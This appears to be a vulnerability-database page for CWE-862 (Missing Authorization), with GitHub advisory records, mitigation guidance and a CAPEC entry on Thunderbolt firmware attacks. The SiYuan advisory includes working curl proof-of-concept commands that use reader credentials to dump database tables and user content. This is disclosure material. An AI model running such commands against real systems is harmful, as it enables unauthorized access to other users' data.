Common Weakness Enumeration

CWE-862

Allowed-with-Review

Missing Authorization

Abstraction: Class · Status: Incomplete

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

14540 vulnerabilities reference this CWE, most recent first.

GHSA-JQJH-8JHC-V62J

Vulnerability from github – Published: 2026-06-29 15:32 – Updated: 2026-06-29 15:32
VLAI
Details

Subscriber Broken Access Control in MainWP <= 6.1.1 versions.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-57327"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-29T15:16:42Z",
    "severity": "MODERATE"
  },
  "details": "Subscriber Broken Access Control in MainWP \u003c= 6.1.1 versions.",
  "id": "GHSA-jqjh-8jhc-v62j",
  "modified": "2026-06-29T15:32:07Z",
  "published": "2026-06-29T15:32:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57327"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/mainwp/vulnerability/wordpress-mainwp-plugin-6-1-1-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JQM9-J7QH-GXHH

Vulnerability from github – Published: 2024-12-09 15:31 – Updated: 2026-04-28 21:35
VLAI
Details

Missing Authorization vulnerability in Noah Hearle, Design Extreme We’re Open! allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects We’re Open!: from n/a through 1.45.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-25067"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-09T13:15:23Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in Noah Hearle, Design Extreme We\u2019re Open! allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects We\u2019re Open!: from n/a through 1.45.",
  "id": "GHSA-jqm9-j7qh-gxhh",
  "modified": "2026-04-28T21:35:16Z",
  "published": "2024-12-09T15:31:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-25067"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/opening-hours/vulnerability/wordpress-we-re-open-plugin-1-45-broken-access-control?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JQR2-7F24-XRGC

Vulnerability from github – Published: 2023-12-13 18:31 – Updated: 2023-12-18 21:44
VLAI
Summary
Missing permission check in Jenkins PaaSLane Estimate Plugin
Details

PaaSLane Estimate Plugin 1.0.4 and earlier does not perform permission checks in several HTTP endpoints. This allows attackers with Overall/Read permission to connect to an attacker-specified URL using an attacker-specified token.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.cloudtp.jenkins:paaslane-estimate"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-50779"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-12-13T19:45:06Z",
    "nvd_published_at": "2023-12-13T18:15:44Z",
    "severity": "MODERATE"
  },
  "details": "PaaSLane Estimate Plugin 1.0.4 and earlier does not perform permission checks in several HTTP endpoints. This allows attackers with Overall/Read permission to connect to an attacker-specified URL using an attacker-specified token.\n",
  "id": "GHSA-jqr2-7f24-xrgc",
  "modified": "2023-12-18T21:44:26Z",
  "published": "2023-12-13T18:31:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-50779"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jenkinsci/paaslane-plugin"
    },
    {
      "type": "WEB",
      "url": "https://www.jenkins.io/security/advisory/2023-12-13/#SECURITY-3179"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2023/12/13/4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Missing permission check in Jenkins PaaSLane Estimate Plugin"
}

GHSA-JQW3-FXFX-GJR7

Vulnerability from github – Published: 2025-07-04 09:31 – Updated: 2026-04-01 18:35
VLAI
Details

Missing Authorization vulnerability in LMSACE LMSACE Connect allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects LMSACE Connect: from n/a through 3.4.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-29007"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-04T09:15:32Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in LMSACE LMSACE Connect allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects LMSACE Connect: from n/a through 3.4.",
  "id": "GHSA-jqw3-fxfx-gjr7",
  "modified": "2026-04-01T18:35:44Z",
  "published": "2025-07-04T09:31:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29007"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/lmsace-connect/vulnerability/wordpress-lmsace-connect-plugin-3-4-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JQWG-75QF-VMF9

Vulnerability from github – Published: 2026-03-03 21:17 – Updated: 2026-03-06 21:57
VLAI
Summary
SiYuan's direct SQL Query API accessible to Reader-level users enables unauthorized database access
Details

Summary

/api/query/sql allows users to run SQL directly, but it only checks basic auth, not admin rights, any logged-in user, even readers, can run any SQL query on the database.

Details

The vulnerable endpoint is in kernel/api/sql.go

func SQL(c *gin.Context) {
    ret := gulu.Ret.NewResult()
    defer c.JSON(http.StatusOK, ret)

    arg, ok := util.JsonArg(c, ret)
    if !ok {
        return
    }

    stmt := arg["stmt"].(string)
    result, err := sql.Query(stmt, model.Conf.Search.Limit) // ... runs arbitrary sql with no restrictions
}

The route in kernel/api/router.go only uses CheckAuth middleware

e.g (similar)

ginServer.Handle("POST", "/api/query/sql", model.CheckAuth, SQL)

PoC

Start SiYuan with the publish service turned on


# List out all tables in the database

curl -s -u reader_user:reader_pass \
  -X POST "http://127.0.0.1:6808/api/query/sql" \
  -H "Content-Type: application/json" \
  -d '{"stmt": "SELECT name, type FROM sqlite_master WHERE type='"'"'table'"'"'"}'


# Extract all user content from the database

curl -s -u reader_user:reader_pass \
  -X POST "http://127.0.0.1:6808/api/query/sql" \
  -H "Content-Type: application/json" \
  -d '{"stmt": "SELECT id, content FROM blocks"}'

Impact

  • High impact, reader users can query all data in the db including other users notes
  • SQL api is mostly for select queries, but without validation, writes can still happen
  • Malicious SQL can lead to serious performance issues

this is an auth bypass, the sql feature is for power users but even readers can use it

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan/kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.0.0-20260113130602-4ba64580c29c"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-29073"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862",
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-03T21:17:58Z",
    "nvd_published_at": "2026-03-06T08:16:26Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n/api/query/sql allows users to run SQL directly, but it only checks basic auth, not admin rights, any logged-in user, even readers, can run any  SQL query on the database.\n\n### Details\n\nThe vulnerable endpoint is in kernel/api/sql.go \n\n```go\nfunc SQL(c *gin.Context) {\n    ret := gulu.Ret.NewResult()\n    defer c.JSON(http.StatusOK, ret)\n\n    arg, ok := util.JsonArg(c, ret)\n    if !ok {\n        return\n    }\n\n    stmt := arg[\"stmt\"].(string)\n    result, err := sql.Query(stmt, model.Conf.Search.Limit) // ... runs arbitrary sql with no restrictions\n}\n```\n\nThe route in kernel/api/router.go only uses CheckAuth middleware\n\ne.g (similar)\n\n```go\nginServer.Handle(\"POST\", \"/api/query/sql\", model.CheckAuth, SQL)\n```\n\n### PoC\n\nStart SiYuan with the publish service turned on\n\n```bash\n\n# List out all tables in the database\n\ncurl -s -u reader_user:reader_pass \\\n  -X POST \"http://127.0.0.1:6808/api/query/sql\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"stmt\": \"SELECT name, type FROM sqlite_master WHERE type=\u0027\"\u0027\"\u0027table\u0027\"\u0027\"\u0027\"}\u0027\n\n\n# Extract all user content from the database\n\ncurl -s -u reader_user:reader_pass \\\n  -X POST \"http://127.0.0.1:6808/api/query/sql\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"stmt\": \"SELECT id, content FROM blocks\"}\u0027\n\n```\n\n### Impact\n- High impact, reader users can query all data in the db including other users notes\n- SQL api is mostly for select queries, but without validation, writes can still happen\n- Malicious SQL can lead to serious performance issues\n\nthis is an auth bypass, the sql feature is for power users but even readers can use it",
  "id": "GHSA-jqwg-75qf-vmf9",
  "modified": "2026-03-06T21:57:55Z",
  "published": "2026-03-03T21:17:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-jqwg-75qf-vmf9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29073"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "SiYuan\u0027s direct SQL Query API accessible to Reader-level users enables unauthorized database access"
}

GHSA-JR28-7R85-HHF6

Vulnerability from github – Published: 2025-09-10 09:30 – Updated: 2026-04-08 18:33
VLAI
Details

The Maspik plugin for WordPress is vulnerable to Missing Authorization in version 2.5.6 and prior. This is due to missing capability checks on the Maspik_spamlog_download_csv function. This makes it possible for authenticated attackers, with subscriber-level access and above, to export and download the spam log database containing blocked submission attempts, which may include misclassified but legitimate submissions with sensitive data.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-9979"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-10T07:15:47Z",
    "severity": "MODERATE"
  },
  "details": "The Maspik plugin for WordPress is vulnerable to Missing Authorization in version 2.5.6 and prior. This is due to missing capability checks on the Maspik_spamlog_download_csv function. This makes it possible for authenticated attackers, with subscriber-level access and above, to export and download the spam log database containing blocked submission attempts, which may include misclassified but legitimate submissions with sensitive data.",
  "id": "GHSA-jr28-7r85-hhf6",
  "modified": "2026-04-08T18:33:55Z",
  "published": "2025-09-10T09:30:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9979"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/contact-forms-anti-spam/trunk/includes/functions.php#L1482"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3357602%40contact-forms-anti-spam\u0026new=3357602%40contact-forms-anti-spam\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://research.cleantalk.org/cve-2025-9879"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/7ee68705-cbb3-44b8-8223-4cecd678bcab?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JR2C-FV9J-F272

Vulnerability from github – Published: 2025-10-15 09:30 – Updated: 2025-10-15 09:30
VLAI
Details

The Zip Attachments plugin for WordPress is vulnerable to unauthorized loss of data due to a missing authorization and capability checks on the download.php file in all versions up to, and including, 1.6. This makes it possible for unauthenticated attackers to delete arbitrary files from the current wp_upload_dir directory.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-11692"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-15T09:15:42Z",
    "severity": "MODERATE"
  },
  "details": "The Zip Attachments plugin for WordPress is vulnerable to unauthorized loss of data due to a missing authorization and capability checks on the download.php file in all versions up to, and including, 1.6. This makes it possible for unauthenticated attackers to delete arbitrary files from the current wp_upload_dir directory.",
  "id": "GHSA-jr2c-fv9j-f272",
  "modified": "2025-10-15T09:30:18Z",
  "published": "2025-10-15T09:30:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11692"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/zip-attachments/tags/1.6/download.php#L27"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/aa8d746f-82e2-4615-92bb-35d20124dc56?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JR37-6XF9-G2X4

Vulnerability from github – Published: 2023-10-06 12:30 – Updated: 2023-10-06 12:30
VLAI
Details

Sensitive information disclosure due to missing authorization. The following products are affected: Acronis Agent (Linux, macOS, Windows) before build 36119.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-45245"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-10-06T10:15:18Z",
    "severity": "LOW"
  },
  "details": "Sensitive information disclosure due to missing authorization. The following products are affected: Acronis Agent (Linux, macOS, Windows) before build 36119.",
  "id": "GHSA-jr37-6xf9-g2x4",
  "modified": "2023-10-06T12:30:19Z",
  "published": "2023-10-06T12:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-45245"
    },
    {
      "type": "WEB",
      "url": "https://security-advisory.acronis.com/advisories/SEC-6017"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JR4M-83HF-8WQ6

Vulnerability from github – Published: 2022-12-20 18:30 – Updated: 2022-12-20 18:30
VLAI
Details

In multiple locations of DreamManagerService.java, there is a missing permission check. This could lead to local escalation of privilege and dismissal of system dialogs with User execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-13Android ID: A-225878553

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-20504"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-12-16T16:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In multiple locations of DreamManagerService.java, there is a missing permission check. This could lead to local escalation of privilege and dismissal of system dialogs with User execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-13Android ID: A-225878553",
  "id": "GHSA-jr4m-83hf-8wq6",
  "modified": "2022-12-20T18:30:19Z",
  "published": "2022-12-20T18:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-20504"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/pixel/2022-12-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JR69-25XG-96X8

Vulnerability from github – Published: 2025-04-04 18:31 – Updated: 2026-04-01 18:34
VLAI
Details

Missing Authorization vulnerability in Bowo Variable Inspector allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects Variable Inspector: from n/a through 2.6.3.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-32229"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-04T16:15:32Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in Bowo Variable Inspector allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects Variable Inspector: from n/a through 2.6.3.",
  "id": "GHSA-jr69-25xg-96x8",
  "modified": "2026-04-01T18:34:32Z",
  "published": "2025-04-04T18:31:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32229"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/variable-inspector/vulnerability/wordpress-variable-inspector-plugin-2-6-3-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

CAPEC-665: Exploitation of Thunderbolt Protection Flaws

An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.